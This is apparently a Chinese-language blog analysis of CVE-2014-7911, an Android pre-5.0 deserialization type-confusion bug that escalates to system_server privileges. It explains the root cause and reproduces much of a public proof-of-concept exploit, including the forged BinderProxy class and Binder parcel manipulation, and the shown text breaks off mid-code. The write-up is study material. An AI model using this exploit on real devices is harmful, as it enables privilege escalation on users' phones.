网上对于此漏洞的分析已经很多了,由于这个漏洞设计了很多底层的知识,很值得学习。总算耐着性子把这个漏洞分析了一下,文章主要记录自己的分析过程。
一、基础知识
要完成此漏洞的分析,需要不少基础知识支持。主要有:
二、实验环境
由于CVE-2014-7911影响了Android 5.0一下版本,所以实验设备需要And容地5.0以下。注意,部分看下手机的系统发布时间,可能OEM针对此漏洞发布了对应的漏洞补丁。另外,我看到资料上说不要使用模拟器,原始是在模拟器上不能通过反射获取系统服务。我一开始在模拟器上运行PoC代码,确实不能成功。我的实验环境如下:
Android 版本:4.3手机:三星S3联通定制版(坑了我半天)
三、漏洞分析
1. Java层分析
首先看下漏洞成因:在Android <5.0系统中,java.io.ObjectInputStream不校验传入的java对象是否是可序列化的。于是,攻击者可以构造一个不可序列话的java对象,并且此Java对象包含了攻击者控制的恶意成员变量。在binder 的server端收到请求时,ObjectInputStream将不可序列化的java对象进行序列化,于是发生类型混淆,攻击者控制的成员变量被当成指针处理。根据此指针可以改变程序的执行流程,进一步向system_server进程注入代码,由于system_server拥有system权限,从而使得注入的代码以system权限执行,达到了提权的目的。
从众多的Android类或者Java类中寻找一个不可序列化的对象,从retme7公开的PoC代码中可以看到,利用了Android.os.BinderProxy类。之所以利用BinderProxy类,可能是因为利用此类在GC(垃圾回收)时的指针更加容易控制。即Android.os.BinderProxy对象的mOrgue成员。大神是如何找到这样的好利用的对象的?
同时,不可序列化的Android.os.BinderProxy需要被处理,即需要server端进行反序列化,才能产生类型混淆。Android中的Binder机制很好地解决了这个问题,binder Client中放入一个序列化对象,在Binder Server端就对此对象进行反序列化。但是,由于在Binder Client中添加的对象需要是可序列化的,所以这一采用了一个技巧。即先构造可序列化的AAdroid.os.Binder对象,将其添加到Binder的发送数据中,但是,在发送前进行一次类似序列化的操作,把AAdroid.os.Binder改成Android.os.Binder对象。这样,server在处理的时候,就会是除了不可序列化的对象。
package AAdroid.os;
import java.io.Serializable;
public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public int mObject = 0x1337beef;
public int mOrgue = 0x1337beef;
}
通过反射获取Binder对象,这里使用的是IUserManager系统服务。但是,个人觉得通过其他的系统服务也是可以做到的。
void expolit(int static_address) {
Context ctx = getBaseContext();
try {
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
evilProxy.mOrgue = static_address;
b.putSerializable("eatthis", evilProxy);
Class clIUserManager = Class.forName("android.os.IUserManager");
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length + " inner classes found");
Class clStub = null;
for (Class c : umSubclasses) {
System.out.println("inner class: " + c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
clStub = c;
}
}
Field fTRANSACTION_setApplicationRestrictions = clStub
.getDeclaredField("TRANSACTION_setApplicationRestrictions");
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions = fTRANSACTION_setApplicationRestrictions
.getInt(null);
UserManager um = (UserManager) ctx
.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField("mService");
fService.setAccessible(true);
Object proxy = fService.get(um);
Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length + " inner classes found");
clProxy = null;
for (Class c : stSubclasses) {
System.out.println("inner class: " + c.getCanonicalName());
if (c.getCanonicalName().equals(
"android.os.IUserManager.Stub.Proxy")) {
clProxy = c;
}
}
Field fRemote = clProxy.getDeclaredField("mRemote");
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy);
UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());
Log.i("badserial",
"waiting for boom here and over in the system service...");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
setApplicationRestrictions()函数就是完成发送不可序列化的Android.os.BinderProxy给服务端的操作。
public void setApplicationRestrictions(java.lang.String packageName,
android.os.Bundle restrictions, int userHandle)
throws android.os.RemoteException {
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);
byte[] data = _data.marshall();
for (int i = 0; true; i++) {
if (data[i] == 'A' && data[i + 1] == 'A' && data[i + 2] == 'd'
&& data[i + 3] == 'r') {
data[i] = 'a';
data[i + 1] = 'n';
break;